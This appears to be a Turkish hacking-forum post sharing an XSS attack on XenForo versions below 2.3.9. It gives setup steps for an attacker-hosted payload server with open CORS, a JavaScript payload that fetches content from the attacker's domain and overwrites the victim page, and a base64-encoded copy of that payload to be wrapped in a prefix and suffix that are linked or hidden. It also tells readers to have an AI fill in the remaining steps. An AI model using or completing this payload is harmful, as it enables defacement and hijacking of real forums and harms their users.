xenforo 2.3.9< n-day vulnerability xss (Paylaşım)

NeoMatrix' Alıntı:

Selamlar
Uzun uzun anlatım yerine direkt işin püf noktalarını bırakıyorum. Gerisini zaten yapay zekaya sorarak rahatlıkla kurabilirsiniz.
ubuntu vps sunucu alın. Öncelikle bir HTTP sunucusu kurun, ardından bu sunucuda CORS'u kullanın ve politikayı * olarak ayarlayın. Yani, indexinizi barındırabilecek ve CORS başlıklarını değiştirebilecek bir HTTP sunucusu oluşturun. paylaodınızı sunacak bir HTTP sunucusu kurmak için Node.js kurun nginx kullanın bunları nasıl yapabilirim diyenler chatgpt ye sorsun herşeyi anlatıyor. bunları yaptıktan sonra domaine bağlayın ve 2 tane A kaydı oluşturun biri @ şeklinde diyeri www şeklinde olucak TLL i 300 olarak ayarlayın valueye sunucu ip sini girin sonra ssl sertifikası kurun certbot dan

şimdi payloada geçelim

Kod:

(async () => {
    var u = "https://domaininigirburaya";
    var r = await fetch(u);
    var t = await r.text();
    document.documentElement.innerHTML = t; 
})();

https://www.base64encode.org/
örnek encode : KGFzeW5jICgpID0+IHsgCiAgICB2YXIgdSA9ICJodHRwczovL2 lsbGVnYWwuY29tIjsgCiAgICB2YXIgciA9IGF3YWl0IGZldGNo KHUpOyAKICAgIHZhciB0ID0gYXdhaXQgci50ZXh0KCk7IAogIC AgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTCA9 IHQ7ICAgIAp9KSgpOw==

şimdi bu enc kodun başına şunu ekleyin : https://pastebin.com/2yYjU3pD

sonuna şunu ekleyin :
*** Gizli metin: alıntı yapılamaz. ***

Genişletmek için tıkla ...